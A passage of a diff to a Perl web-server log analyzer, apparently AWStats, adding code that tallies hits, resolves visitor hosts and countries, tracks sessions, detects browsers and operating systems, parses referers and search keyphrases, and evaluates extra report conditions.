if ($countedtraffic != 6){$DayHits{$yearmonthdayrecord}++;} #Count accesses for hour (hit) + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_time_k[$hourrecord] += int( $field[$pos_size] ); + $DayBytes{$yearmonthdayrecord} += int( $field[$pos_size] ); #Count accesses for hour (kb) + } + + # Analyze: Login + #--------------- + if ( $pos_logname >= 0 + && $field[$pos_logname] + && $field[$pos_logname] ne '-' ) + { + $field[$pos_logname] =~ + s/ /_/g; # This is to allow space in logname + if ( $LogFormat eq '6' ) { + $field[$pos_logname] =~ s/^\"//; + $field[$pos_logname] =~ s/\"$//; + } # logname field has " with Domino 6+ + if ($AuthenticatedUsersNotCaseSensitive) { + $field[$pos_logname] = lc( $field[$pos_logname] ); + } + + # We found an authenticated user + if ($PageBool) { + $_login_p{ $field[$pos_logname] }++; + } #Count accesses for page (page) + if ($countedtraffic != 6){$_login_h{$field[$pos_logname]}++;} #Count accesses for page (hit) + if ($pos_size>0){$_login_k{ $field[$pos_logname] } += + int( $field[$pos_size] );} #Count accesses for page (kb) + $_login_l{ $field[$pos_logname] } = $timerecord; + } + } + + # Do DNS lookup + #-------------- + my $Host = $field[$pos_host]; + my $HostResolved = '' + ; # HostResolved will be defined in next paragraf if countedtraffic is true + + if ( !$countedtraffic || $countedtraffic == 6) { + my $ip = 0; + if ($DNSLookup) { # DNS lookup is 1 or 2 + if ( $Host =~ /$regipv4l/o ) { # IPv4 lighttpd + $Host =~ s/^::ffff://; + $ip = 4; + } + elsif ( $Host =~ /$regipv4/o ) { $ip = 4; } # IPv4 + elsif ( $Host =~ /$regipv6/o ) { $ip = 6; } # IPv6 + if ($ip) { + + # Check in static DNS cache file + $HostResolved = $MyDNSTable{$Host}; + if ($HostResolved) { + if ($Debug) { + debug( +" DNS lookup asked for $Host and found in static DNS cache file: $HostResolved", + 4 + ); + } + } + elsif ( $DNSLookup == 1 ) { + + # Check in session cache (dynamic DNS cache file + session DNS cache) + $HostResolved = $TmpDNSLookup{$Host}; + if ( !$HostResolved ) { + if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) { + $HostResolved = $TmpDNSLookup{$Host} = '*'; + if ($Debug) { + debug( +" No need of reverse DNS lookup for $Host, skipped at user request.", + 4 + ); + } + } + else { + if ( $ip == 4 ) { + my $lookupresult = + gethostbyaddr( + pack( "C4", split( /\./, $Host ) ), + AF_INET ) + ; # This is very slow, may spend 20 seconds + if ( !$lookupresult + || $lookupresult =~ /$regipv4/o + || !IsAscii($lookupresult) ) + { + $TmpDNSLookup{$Host} = $HostResolved = + '*'; + } + else { + $TmpDNSLookup{$Host} = $HostResolved = + $lookupresult; + } + if ($Debug) { + debug( +" Reverse DNS lookup for $Host done: $HostResolved", + 4 + ); + } + } + elsif ( $ip == 6 ) { + if ( $PluginsLoaded{'GetResolvedIP'} + {'ipv6'} ) + { + my $lookupresult = + GetResolvedIP_ipv6($Host); + if ( !$lookupresult + || !IsAscii($lookupresult) ) + { + $TmpDNSLookup{$Host} = + $HostResolved = '*'; + } + else { + $TmpDNSLookup{$Host} = + $HostResolved = $lookupresult; + } + } + else { + $TmpDNSLookup{$Host} = $HostResolved = + '*'; + warning( +"Reverse DNS lookup for $Host not available without ipv6 plugin enabled." + ); + } + } + else { error("Bad value vor ip"); } + } + } + } + else { + $HostResolved = '*'; + if ($Debug) { + debug( +" DNS lookup by static DNS cache file asked for $Host but not found.", + 4 + ); + } + } + } + else { + if ($Debug) { + debug( +" DNS lookup asked for $Host but this is not an IP address.", + 4 + ); + } + $DNSLookupAlreadyDone = $LogFile; + } + } + else { + if ( $Host =~ /$regipv4l/o ) { + $Host =~ s/^::ffff://; + $HostResolved = '*'; + $ip = 4; + } + elsif ( $Host =~ /$regipv4/o ) { + $HostResolved = '*'; + $ip = 4; + } # IPv4 + elsif ( $Host =~ /$regipv6/o ) { + $HostResolved = '*'; + $ip = 6; + } # IPv6 + if ($Debug) { debug( " No DNS lookup asked.", 4 ); } + } + + # Analyze: Country (Top-level domain) + #------------------------------------ + if ($Debug) { + debug( +" Search country (Host=$Host HostResolved=$HostResolved ip=$ip)", + 4 + ); + } + my $Domain = 'ip'; + + # Set $HostResolved to host and resolve domain + if ( $HostResolved eq '*' ) { + +# $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address + $HostResolved = $Host; + + # Resolve Domain + if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) { + $Domain = GetCountryCodeByAddr_geoip($HostResolved); + } + +# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); } +# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); } + elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) { + $Domain = GetCountryCodeByAddr_geoipfree($HostResolved); + } + if ($AtLeastOneSectionPlugin) { + foreach my $pluginname ( + keys %{ $PluginsLoaded{'SectionProcessIp'} } ) + { + my $function = "SectionProcessIp_$pluginname"; + if ($Debug) { + debug( " Call to plugin function $function", 5 ); + } + &$function($HostResolved); + } + } + } + else { + +# $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined) + $HostResolved = lc( $HostResolved ? $HostResolved : $Host ); + + # Resolve Domain + if ($ip) + { # If we have ip, we use it in priority instead of hostname + if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) { + $Domain = GetCountryCodeByAddr_geoip($Host); + } + +# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); } +# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); } + elsif ( + $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) + { + $Domain = GetCountryCodeByAddr_geoipfree($Host); + } + elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; } + if ($AtLeastOneSectionPlugin) { + foreach my $pluginname ( + keys %{ $PluginsLoaded{'SectionProcessIp'} } ) + { + my $function = "SectionProcessIp_$pluginname"; + if ($Debug) { + debug( " Call to plugin function $function", + 5 ); + } + &$function($Host); + } + } + } + else { + if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) { + $Domain = GetCountryCodeByName_geoip($HostResolved); + } + +# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); } +# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); } + elsif ( + $PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} ) + { + $Domain = GetCountryCodeByName_geoipfree($HostResolved); + } + elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; } + if ($AtLeastOneSectionPlugin) { + foreach my $pluginname ( + keys %{ $PluginsLoaded{'SectionProcessHostname'} } ) + { + my $function = "SectionProcessHostname_$pluginname"; + if ($Debug) { + debug( " Call to plugin function $function", + 5 ); + } + &$function($HostResolved); + } + } + } + } + + # Store country + if ($PageBool) { $_domener_p{$Domain}++; } + if ($countedtraffic != 6){$_domener_h{$Domain}++;} + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_domener_k{$Domain} += int( $field[$pos_size] ); + } + + # Analyze: Host, URL entry+exit and Session + #------------------------------------------ + if ($PageBool) { + my $timehostl = $_host_l{$HostResolved}; + if ($timehostl) { + +# A visit for this host was already detected +# TODO everywhere there is $VISITTIMEOUT +# $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1; +# if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) { + if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) { + + # This is a second visit or more + if ( !$_waithost_s{$HostResolved} ) { + + # This is a second visit or more + # We count 'visit','exit','entry','DayVisits' + if ($Debug) { + debug( +" This is a second visit for $HostResolved.", + 4 + ); + } + my $timehosts = $_host_s{$HostResolved}; + my $page = $_host_u{$HostResolved}; + if ($page) { $_url_x{$page}++; } + $_url_e{ $field[$pos_url] }++; + $DayVisits{$yearmonthdayrecord}++; + + # We can't count session yet because we don't have the start so + # we save params of first 'wait' session + $_waithost_l{$HostResolved} = $timehostl; + $_waithost_s{$HostResolved} = $timehosts; + $_waithost_u{$HostResolved} = $page; + } + else { + + # This is third visit or more + # We count 'session','visit','exit','entry','DayVisits' + if ($Debug) { + debug( +" This is a third visit or more for $HostResolved.", + 4 + ); + } + my $timehosts = $_host_s{$HostResolved}; + my $page = $_host_u{$HostResolved}; + if ($page) { $_url_x{$page}++; } + $_url_e{ $field[$pos_url] }++; + $DayVisits{$yearmonthdayrecord}++; + if ($timehosts) { + $_session{ GetSessionRange( $timehosts, + $timehostl ) }++; + } + } + + # Save new session properties + $_host_s{$HostResolved} = $timerecord; + $_host_l{$HostResolved} = $timerecord; + $_host_u{$HostResolved} = $field[$pos_url]; + } + elsif ( $timerecord > $timehostl ) { + + # This is a same visit we can count + if ($Debug) { + debug( +" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]", + 4 + ); + } + $_host_l{$HostResolved} = $timerecord; + $_host_u{$HostResolved} = $field[$pos_url]; + } + elsif ( $timerecord == $timehostl ) { + + # This is a same visit we can count + if ($Debug) { + debug( +" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]", + 4 + ); + } + $_host_u{$HostResolved} = $field[$pos_url]; + } + elsif ( $timerecord < $_host_s{$HostResolved} ) { + + # Should happens only with not correctly sorted log files + if ($Debug) { + debug( +" This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)", + 4 + ); + } + if ( !$_waithost_s{$HostResolved} ) { + +# We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved) + $_waithost_e{$HostResolved} = $field[$pos_url]; + } + else { + +# We can't change entry counted as we dont't know what was the url counted as entry + } + $_host_s{$HostResolved} = $timerecord; + } + else { + if ($Debug) { + debug( +" This is same visit still running for $HostResolved with hit between start and last hits. No change", + 4 + ); + } + } + } + else { + +# This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later + if ($Debug) { + debug( +" New session (may be) for $HostResolved. Save in wait array to see later", + 4 + ); + } + $_waithost_e{$HostResolved} = $field[$pos_url]; + + # Save new session properties + $_host_u{$HostResolved} = $field[$pos_url]; + $_host_s{$HostResolved} = $timerecord; + $_host_l{$HostResolved} = $timerecord; + } + $_host_p{$HostResolved}++; + } + $_host_h{$HostResolved}++; + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_host_k{$HostResolved} += int( $field[$pos_size] ); + } + + # Analyze: Browser - OS + #---------------------- + if ( $pos_agent >= 0 ) { + + if ($LevelForBrowsersDetection) { + + # Analyze: Browser + #----------------- + my $uabrowser = $TmpBrowser{$UserAgent}; + if ( !$uabrowser ) { + my $found = 1; + + # Firefox ? + if ( $UserAgent =~ /$regverfirefox/o + && $UserAgent !~ /$regnotfirefox/o ) + { + $_browser_h{"firefox$1"}++; + if ($PageBool) { $_browser_p{"firefox$1"}++; } + $TmpBrowser{$UserAgent} = "firefox$1"; + } + + # Opera ? + elsif ( $UserAgent =~ /$regveropera/o ) { + $_browser_h{"opera$1"}++; + if ($PageBool) { $_browser_p{"opera$1"}++; } + $TmpBrowser{$UserAgent} = "opera$1"; + } + + # Chrome ? + elsif ( $UserAgent =~ /$regverchrome/o ) { + $_browser_h{"chrome$1"}++; + if ($PageBool) { $_browser_p{"chrome$1"}++; } + $TmpBrowser{$UserAgent} = "chrome$1"; + } + + # Safari ? + elsif ($UserAgent =~ /$regversafari/o + && $UserAgent !~ /$regnotsafari/o ) + { + my $safariver = $BrowsersSafariBuildToVersionHash{$1}; + if ( $UserAgent =~ /$regversafariver/o ) { + $safariver = $1; + } + $_browser_h{"safari$safariver"}++; + if ($PageBool) { $_browser_p{"safari$safariver"}++; } + $TmpBrowser{$UserAgent} = "safari$safariver"; + } + + # Konqueror ? + elsif ( $UserAgent =~ /$regverkonqueror/o ) { + $_browser_h{"konqueror$1"}++; + if ($PageBool) { $_browser_p{"konqueror$1"}++; } + $TmpBrowser{$UserAgent} = "konqueror$1"; + } + + # Subversion ? + elsif ( $UserAgent =~ /$regversvn/o ) { + $_browser_h{"svn$1"}++; + if ($PageBool) { $_browser_p{"svn$1"}++; } + $TmpBrowser{$UserAgent} = "svn$1"; + } + + # IE ? (must be at end of test) + elsif ($UserAgent =~ /$regvermsie/o + && $UserAgent !~ /$regnotie/o ) + { + $_browser_h{"msie$2"}++; + if ($PageBool) { $_browser_p{"msie$2"}++; } + $TmpBrowser{$UserAgent} = "msie$2"; + } + + # Netscape 6.x, 7.x ... ? (must be at end of test) + elsif ( $UserAgent =~ /$regvernetscape/o ) { + $_browser_h{"netscape$1"}++; + if ($PageBool) { $_browser_p{"netscape$1"}++; } + $TmpBrowser{$UserAgent} = "netscape$1"; + } + + # Netscape 3.x, 4.x ... ? (must be at end of test) + elsif ($UserAgent =~ /$regvermozilla/o + && $UserAgent !~ /$regnotnetscape/o ) + { + $_browser_h{"netscape$2"}++; + if ($PageBool) { $_browser_p{"netscape$2"}++; } + $TmpBrowser{$UserAgent} = "netscape$2"; + } + + # Other known browsers ? + else { + $found = 0; + foreach (@BrowsersSearchIDOrder) + { # Search ID in order of BrowsersSearchIDOrder + if ( $UserAgent =~ /$_/ ) { + my $browser = &UnCompileRegex($_); + + # TODO If browser is in a family, use version + $_browser_h{"$browser"}++; + if ($PageBool) { $_browser_p{"$browser"}++; } + $TmpBrowser{$UserAgent} = "$browser"; + $found = 1; + last; + } + } + } + + # Unknown browser ? + if ( !$found ) { + $_browser_h{'Unknown'}++; + if ($PageBool) { $_browser_p{'Unknown'}++; } + $TmpBrowser{$UserAgent} = 'Unknown'; + my $newua = $UserAgent; + $newua =~ tr/\+ /__/; + $_unknownrefererbrowser_l{$newua} = $timerecord; + } + } + else { + $_browser_h{$uabrowser}++; + if ($PageBool) { $_browser_p{$uabrowser}++; } + if ( $uabrowser eq 'Unknown' ) { + my $newua = $UserAgent; + $newua =~ tr/\+ /__/; + $_unknownrefererbrowser_l{$newua} = $timerecord; + } + } + + } + + if ($LevelForOSDetection) { + + # Analyze: OS + #------------ + my $uaos = $TmpOS{$UserAgent}; + if ( !$uaos ) { + my $found = 0; + + # in OSHashID list ? + foreach (@OSSearchIDOrder) + { # Search ID in order of OSSearchIDOrder + if ( $UserAgent =~ /$_/ ) { + my $osid = $OSHashID{ &UnCompileRegex($_) }; + $_os_h{"$osid"}++; + if ($PageBool) { $_os_p{"$osid"}++; } + $TmpOS{$UserAgent} = "$osid"; + $found = 1; + last; + } + } + + # Unknown OS ? + if ( !$found ) { + $_os_h{'Unknown'}++; + if ($PageBool) { $_os_p{'Unknown'}++; } + $TmpOS{$UserAgent} = 'Unknown'; + my $newua = $UserAgent; + $newua =~ tr/\+ /__/; + $_unknownreferer_l{$newua} = $timerecord; + } + } + else { + $_os_h{$uaos}++; + if ($PageBool) { + $_os_p{$uaos}++; + } + if ( $uaos eq 'Unknown' ) { + my $newua = $UserAgent; + $newua =~ tr/\+ /__/; + $_unknownreferer_l{$newua} = $timerecord; + } + } + + } + + } + else { + $_browser_h{'Unknown'}++; + $_os_h{'Unknown'}++; + if ($PageBool) { + $_browser_p{'Unknown'}++; + $_os_p{'Unknown'}++; + } + } + + # Analyze: Referer + #----------------- + my $found = 0; + if ( $pos_referer >= 0 + && $LevelForRefererAnalyze + && $field[$pos_referer] ) + { + + # Direct ? + if ( $field[$pos_referer] eq '-' + || $field[$pos_referer] eq 'bookmarks' ) + { # "bookmarks" is sent by Netscape, '-' by all others browsers + # Direct access + if ($PageBool) { + if ($ShowDirectOrigin) { + print "Direct access for line $line\n"; + } + $_from_p[0]++; + } + $_from_h[0]++; + $found = 1; + } + else { + $field[$pos_referer] =~ /$regreferer/o; + my $refererprot = $1; + my $refererserver = + ( $2 || '' ) + . ( !$3 || $3 eq ':80' ? '' : $3 ) + ; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80 + # HTML link ? + if ( $refererprot =~ /^http/i ) { + +#if ($Debug) { debug(" Analyze referer refererprot=$refererprot refererserver=$refererserver",5); } + + # Kind of origin + if ( !$TmpRefererServer{$refererserver} ) + { # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise + if ( $refererserver =~ /$reglocal/o ) { + + # Intern (This hit came from another page of the site) + if ($Debug) { + debug( +" Server '$refererserver' is added to TmpRefererServer with value '='", + 2 + ); + } + $TmpRefererServer{$refererserver} = '='; + $found = 1; + } + else { + foreach (@HostAliases) { + if ( $refererserver =~ /$_/ ) { + + # Intern (This hit came from another page of the site) + if ($Debug) { + debug( +" Server '$refererserver' is added to TmpRefererServer with value '='", + 2 + ); + } + $TmpRefererServer{$refererserver} = '='; + $found = 1; + last; + } + } + if ( !$found ) { + + # Extern (This hit came from an external web site). + + if ($LevelForSearchEnginesDetection) { + + foreach (@SearchEnginesSearchIDOrder) + { # Search ID in order of SearchEnginesSearchIDOrder + if ( $refererserver =~ /$_/ ) { + my $key = &UnCompileRegex($_); + if ( + !$NotSearchEnginesKeys{$key} + || $refererserver !~ +/$NotSearchEnginesKeys{$key}/i + ) + { + + # This hit came from the search engine $key + if ($Debug) { + debug( +" Server '$refererserver' is added to TmpRefererServer with value '$key'", + 2 + ); + } + $TmpRefererServer{ + $refererserver} = + $SearchEnginesHashID{ $key + }; + $found = 1; + } + last; + } + } + + } + } + } + } + + my $tmprefererserver = + $TmpRefererServer{$refererserver}; + if ($tmprefererserver) { + if ( $tmprefererserver eq '=' ) { + + # Intern (This hit came from another page of the site) + if ($PageBool) { $_from_p[4]++; } + $_from_h[4]++; + $found = 1; + } + else { + + # This hit came from a search engine + if ($PageBool) { + $_from_p[2]++; + $_se_referrals_p{$tmprefererserver}++; + } + $_from_h[2]++; + $_se_referrals_h{$tmprefererserver}++; + $found = 1; + if ( $PageBool && $LevelForKeywordsDetection ) { + + # we will complete %_keyphrases hash array + my @refurl = + split( /\?/, $field[$pos_referer], 2 ) + ; # TODO Use \? or [$URLQuerySeparators] ? + if ( $refurl[1] ) { + +# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...) + if ( + $SearchEnginesKnownUrl{ + $tmprefererserver} ) + { # Search engine with known URL syntax + foreach my $param ( + split( + /&/, + $KeyWordsNotSensitive + ? lc( $refurl[1] ) + : $refurl[1] + ) + ) + { + if ( $param =~ +s/^$SearchEnginesKnownUrl{$tmprefererserver}// + ) + { + + # We found good parameter + # Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg" + $param =~ +s/^(cache|related):[^\+]+// + ; # Should be useless since this is for hit on 'not pages' + &ChangeWordSeparatorsIntoSpace + ($param) + ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg] + $param =~ s/^ +//; + $param =~ s/ +$//; # Trim + $param =~ tr/ /\+/s; + if ( ( length $param ) > 0 ) + { + $_keyphrases{$param}++; + } + last; + } + } + } + elsif ( + $LevelForKeywordsDetection >= 2 ) + { # Search engine with unknown URL syntax + foreach my $param ( + split( + /&/, + $KeyWordsNotSensitive + ? lc( $refurl[1] ) + : $refurl[1] + ) + ) + { + my $foundexcludeparam = 0; + foreach my $paramtoexclude ( + @WordsToCleanSearchUrl) + { + if ( $param =~ + /$paramtoexclude/i ) + { + $foundexcludeparam = 1; + last; + } # Not the param with search criteria + } + if ($foundexcludeparam) { + next; + } + + # We found good parameter + $param =~ s/.*=//; + + # Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg" + $param =~ + s/^(cache|related):[^\+]+// + ; # Should be useless since this is for hit on 'not pages' + &ChangeWordSeparatorsIntoSpace( + $param) + ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ] + $param =~ s/^ +//; + $param =~ s/ +$//; # Trim + $param =~ tr/ /\+/s; + if ( ( length $param ) > 2 ) { + $_keyphrases{$param}++; + last; + } + } + } + } # End of elsif refurl[1] + elsif ( + $SearchEnginesWithKeysNotInQuery{ + $tmprefererserver} ) + { + +# debug("xxx".$refurl[0]); +# If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2) + if ( $refurl[0] =~ +/$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/ + ) + { + my $param = $1; + &ChangeWordSeparatorsIntoSpace( + $param); + $param =~ tr/ /\+/s; + if ( ( length $param ) > 0 ) { + $_keyphrases{$param}++; + } + } + } + + } + } + } # End of if ($TmpRefererServer) + else { + + # This hit came from a site other than a search engine + if ($PageBool) { $_from_p[3]++; } + $_from_h[3]++; + +# http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage +#if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; } # Code moved in Save_History +# TODO: lowercase the value for referer server to have refering server not case sensitive + if ($URLReferrerWithQuery) { + if ($PageBool) { + $_pagesrefs_p{ $field[$pos_referer] }++; + } + $_pagesrefs_h{ $field[$pos_referer] }++; + } + else { + + # We discard query for referer + if ( $field[$pos_referer] =~ + /$regreferernoquery/o ) + { + if ($PageBool) { $_pagesrefs_p{"$1"}++; } + $_pagesrefs_h{"$1"}++; + } + else { + if ($PageBool) { + $_pagesrefs_p{ $field[$pos_referer] }++; + } + $_pagesrefs_h{ $field[$pos_referer] }++; + } + } + $found = 1; + } + } + + # News Link ? + #if (! $found && $refererprot =~ /^news/i) { + # $found=1; + # if ($PageBool) { $_from_p[5]++; } + # $_from_h[5]++; + #} + } + } + + # Origin not found + if ( !$found ) { + if ($ShowUnknownOrigin) { + print "Unknown origin: $field[$pos_referer]\n"; + } + if ($PageBool) { $_from_p[1]++; } + $_from_h[1]++; + } + + # Analyze: EMail + #--------------- + if ( $pos_emails >= 0 && $field[$pos_emails] ) { + if ( $field[$pos_emails] eq '<>' ) { + $field[$pos_emails] = 'Unknown'; + } + elsif ( $field[$pos_emails] !~ /\@/ ) { + $field[$pos_emails] .= "\@$SiteDomain"; + } + $_emails_h{ lc( $field[$pos_emails] ) } + ++; #Count accesses for sender email (hit) + if ($pos_size>0){$_emails_k{ lc( $field[$pos_emails] ) } += + int( $field[$pos_size] ) + ;} #Count accesses for sender email (kb) + $_emails_l{ lc( $field[$pos_emails] ) } = $timerecord; + } + if ( $pos_emailr >= 0 && $field[$pos_emailr] ) { + if ( $field[$pos_emailr] !~ /\@/ ) { + $field[$pos_emailr] .= "\@$SiteDomain"; + } + $_emailr_h{ lc( $field[$pos_emailr] ) } + ++; #Count accesses for receiver email (hit) + if ($pos_size>0){$_emailr_k{ lc( $field[$pos_emailr] ) } += + int( $field[$pos_size] ) + ;} #Count accesses for receiver email (kb) + $_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord; + } + } + + # Check cluster + #-------------- + if ( $pos_cluster >= 0 ) { + if ($PageBool) { + $_cluster_p{ $field[$pos_cluster] }++; + } #Count accesses for page (page) + $_cluster_h{ $field[$pos_cluster] } + ++; #Count accesses for page (hit) + if ($pos_size>0){$_cluster_k{ $field[$pos_cluster] } += + int( $field[$pos_size] );} #Count accesses for page (kb) + } + + # Analyze: Extra + #--------------- + foreach my $extranum ( 1 .. @ExtraName - 1 ) { + if ($Debug) { debug( " Process extra analyze $extranum", 4 ); } + + # Check code + my $conditionok = 0; + if ( $ExtraCodeFilter[$extranum] ) { + foreach + my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 ) + { + if ($Debug) { + debug( +" Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'", + 5 + ); + } + if ( $field[$pos_code] eq + "$ExtraCodeFilter[$extranum][$condnum]" ) + { + $conditionok = 1; + last; + } + } + if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) { + next; + } # End for this section + if ($Debug) { + debug( +" No check on code or code is OK. Now we check other conditions.", + 5 + ); + } + } + + # Check conditions + $conditionok = 0; + foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 ) + { + my $conditiontype = $ExtraConditionType[$extranum][$condnum]; + my $conditiontypeval = + $ExtraConditionTypeVal[$extranum][$condnum]; + if ( $conditiontype eq 'URL' ) { + if ($Debug) { + debug( +" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'", + 5 + ); + } + if ( $urlwithnoquery =~ /$conditiontypeval/ ) { + $conditionok = 1; + last; + } + } + elsif ( $conditiontype eq 'QUERY_STRING' ) { + if ($Debug) { + debug( +" Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'", + 5 + ); + } + if ( $standalonequery =~ /$conditiontypeval/ ) { + $conditionok = 1; + last; + } + } + elsif ( $conditiontype eq 'URLWITHQUERY' ) { + if ($Debug) { + debug( +" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'", + 5 + ); + } + if ( "$urlwithnoquery$tokenquery$standalonequery" =~ + /$conditiontypeval/ ) + { + $conditionok = 1; + last; + } + } + elsif ( $conditiontype eq 'REFERER' ) { + if ($Debug) { + debug( +" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'", + 5 + ); + } + if ( $field[$pos_referer] =~ /$conditiontypeval/ ) { + $conditionok = 1; + last; + } + } + elsif ( $conditiontype eq 'UA' ) { + if ($Debug) { + debug( +" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'", + 5 + ); + } + if ( $field[$pos_agent] =~ /$conditiontypeval/ ) { + $conditionok = 1; + last; + } + } + elsif ( $conditiontype eq 'HOSTINLOG' ) { + if ($Debug) { + debug( +" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'", + 5 + ); + } + if ( $field[$pos_host] =~ /$conditiontypeval/ ) { + $conditionok = 1; + last; + } + } + elsif ( $conditiontype eq 'HOST' ) { + my $hosttouse = ( $HostResolved ? $HostResolved : $Host ); + if ($Debug) { + debug( +" Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'", + 5 + ); + } + if ( $hosttouse =~ /$conditiontypeval/ ) { + $conditionok = 1; + last; + } + } + elsif ( $conditiontype eq 'VHOST' ) { + if ($Debug) { + debug( +" Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'", + 5 + ); + } + if ( $field[$pos_vh] =~ /$conditiontypeval/ ) { + $conditionok = 1; + last; + } + } + elsif ( $conditiontype =~ /extra(\d+)/i ) { + if ($Debug) { + debug( +" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'", + 5 + ); + } + if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) { + $conditionok = 1; + last; + } + } + else { + error( +"Wrong value of parameter ExtraSectionCondition$extranum" + ); + } + } + if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) { + next; + } # End for this section + if ($Debug) { + debug( +" No condition or condition is OK. Now we extract value for first column of extra chart.", + 5 + ); + } + + # Determine actual column value to use. + my $rowkeyval; + my $rowkeyok = 0; + foreach my $extracol ( 1 .. @{ $ExtraColumnTitle[$extranum] } - 1 ) { + foreach my $rowkeynum ( + 0 .. @{ $ExtraColumnValuesType[$extranum][$extracol] } - 1 ) # MUDAR + { + my $rowkeytype = + $ExtraColumnValuesType[$extranum][$extracol][$rowkeynum]; # MUDAR + my $rowkeytypeval = + $ExtraColumnValuesTypeVal[$extranum][$extracol][$rowkeynum]; # MUDAR + if ( $rowkeytype eq 'URL' ) { + if ( $urlwithnoquery =~ /$rowkeytypeval/ ) { + $rowkeyval .= "$1."; + $rowkeyok = 1; + last; + } + } + elsif ( $rowkeytype eq 'QUERY_STRING' ) { + if ($Debug) { + debug( + " Extract value from '$standalonequery' with regex '$rowkeytypeval'.", + 5 + ); + } + if ( $standalonequery =~ /$rowkeytypeval/ ) { + $rowkeyval .= "$1."; + $rowkeyok = 1; + last; + } + } + elsif ( $rowkeytype eq 'URLWITHQUERY' ) { + if ( "$urlwithnoquery$tokenquery$standalonequery" =~ + /$rowkeytypeval/ ) + { + $rowkeyval .= "$1."; + $rowkeyok = 1; + last; + } + } + elsif ( $rowkeytype eq 'REFERER' ) { + if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) { + $rowkeyval .= "$1."; + $rowkeyok = 1; + last; + } + } + elsif ( $rowkeytype eq 'UA' ) { + if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) { + $rowkeyval .= "$1."; + $rowkeyok = 1; + last; + } + } + elsif ( $rowkeytype eq 'HOSTINLOG' ) { + if ( $field[$pos_host] =~ /$rowkeytypeval/ ) { + $rowkeyval .= "$1."; + $rowkeyok = 1; + last; + } + } + elsif ( $rowkeytype eq 'HOST' ) { + my $hosttouse = ( $HostResolved ? $HostResolved : $Host ); + if ( $hosttouse =~ /$rowkeytypeval/ ) { + $rowkeyval .= "$1."; + $rowkeyok = 1; + last; + } + } + elsif ( $rowkeytype eq 'VHOST' ) { + if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) { + $rowkeyval .= 